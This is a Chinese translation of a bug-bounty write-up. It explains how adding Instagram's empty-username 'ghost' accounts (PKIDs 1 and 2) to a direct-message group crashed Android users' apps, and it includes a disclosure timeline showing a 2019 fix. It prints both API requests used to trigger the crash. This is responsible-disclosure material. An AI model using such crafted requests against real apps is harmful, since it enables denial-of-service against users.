用“幽灵”帐户使任意安卓用户的Instagram崩溃
在今年4月,我突然对Facebook的安全性产生了极大的兴趣(更具体地说是Instagram),很快我还发现,Facebook特意在应用中添加了一个Whitehat Settings
选项,可以帮助研究人员更好地挖掘安全漏洞。于是,我便开始了对Instagram的探索之旅。
在我最初的研究中,我发现Instagram的数据库中存在一个简单的增量参数PKID
,和平台用户绑定,因此我很好奇哪个帐号是社交网络被创建时的第一个账号。我尚不确定第一个真实帐号的PKID是3还是4,它应该属于Mike Krieger(Instagram的联合创始人之一)。
那么,此时你一定会想,PKID=1和PKID=2的Instagram帐号呢?这两个帐号有点怪异,虽然它们有PKID,但是用户名为空?更准确地说,它们的用户名字段是一个空字符串(“”)。我几乎可以肯定这种字段肯定会对程序造成某些影响。
我的想法是,这些帐号应该是在Instagram最初的测试阶段创建的,当时Instagram应该只是一个alpha版本。不过我好奇的是为什么这么长时间之后它们仍然没有被删除?从现在起,让我们称之为幽灵用户(ghost users)。
OK,如果服务器端代码不能正确地处理空字符串,那么空字符串可能会引发意想不到的危险。很快,我便有了第一个想法,想通过某种方法使程序的解析发生畸变,从而使Instagram崩溃。当然,更有趣的是找到了一种方法来远程攻击其他Instagram用户的程序。
通过仔细研究Instagram的几个功能(Instagram的功能比Facebook少,但软件体积一样大),我找到了一个可以利用的功能:在Instagram messages
选项卡中有一个group thread creation
功能:它可以在Instagram中与其他账户创建聊天组,涉及该操作的端点是:
/api/v1/direct_v2/create_group_thread/
利用
我的漏洞测试是在三星Galaxy S8+
上进行的,Android版本为8.0,开发阶段非常简单。
为了尝试利用空字符串,我首先与一个测试用户创建一个简单的组。以下是示例请求:
POST /api/v1/direct_v2/create_group_thread/ HTTP/1.1
User-Agent: Instagram ....
Accept-Language: en-US
Cookie: urlgen= ....
Accept-Encoding: gzip, deflate
Host:i.instagram.com
X-FB-HTTP-Engine: Liger
Connection: close
Content-Length: 353
signed_body=d963d5f048924a58712d8bcf7912ac76a7c3c990199c7d59ac25e7990e142f49.{"recipient_users":"[xxxxxxxxxx]","_csrftoken":"WBpZmckmENi6eiubd26Osz6SIR3vtowu","thread_title":"bdbdbdbdbdxb","_uid":"12579513534","_uuid":"d18570eb-0663-40f4-bcc3-0c48a5031cee"}&ig_sig_key_version=4
以上请求中最重要的部分是JSON参数recipient_users
,它是用户的instagram ID。随后,我再使用另一个API将一个幽灵用户添加到现有的组中:
POST /api/v1/direct_v2/threads/yyyyyyyyyy/add_user/ HTTP/1.1
User-Agent: Instagram ....
Accept-Language: en-US
Cookie: urlgen= ....
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Host:i.instagram.com
X-FB-HTTP-Engine: Liger
Connection: close
Content-Length: 109
_csrftoken=Pod4ZKSSLYUYMPs2TxhN5Xkmsv6xUOsO&user_ids=["2"]&_uuid=d18570eb-0663-40f4-bcc3-0c48a5031cee
在以上请求中,yyyyyyyy
代表刚刚创建的群组的ID(从上一个请求的响应中获得),user_ids
中的2
代表幽灵用户的PKID。
在第二个请求后,测试用户的Instagram安卓应用突然崩溃,之后手动退出小组才能重新使用!
这可能是由于幽灵用户的用户名空字符串导致JSON解析异常从而造成的崩溃。以下是崩溃时堆栈跟踪的示例:
影响
利用这个漏洞,只要将Instagram的安卓用户添加到一个存在幽灵用户的群组中,就有可能使正常用户的安卓应用崩溃。我注意到,对于你的Instagram关注者,你拉他们入群组不需要任何点击(零点击攻击),但往往攻击者和受害者不是互相关注的关系,此时“加入群组”就必须得到受害者的许可。
PoC视频
视频地址:https://vimeo.com/359829417
时间轴
2019年4月10日——向Facebook Whitehat团队上报了这个漏洞
2019年4月12日——Facebook要求更多漏洞信息
2019年5月2日至2019年9月9日——研究人员与Facebook进行各种电子邮件交流,确认漏洞详情
2019年9月9日——漏洞被修复
2019年9月10日——发放漏洞赏金
2019年9月12日——漏洞详情公开
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://medium.com/bugbountywriteup/how-two-dead-users-allowed-remote-crash-of-any-instagram-android-user-8f20e88b1b59
最新评论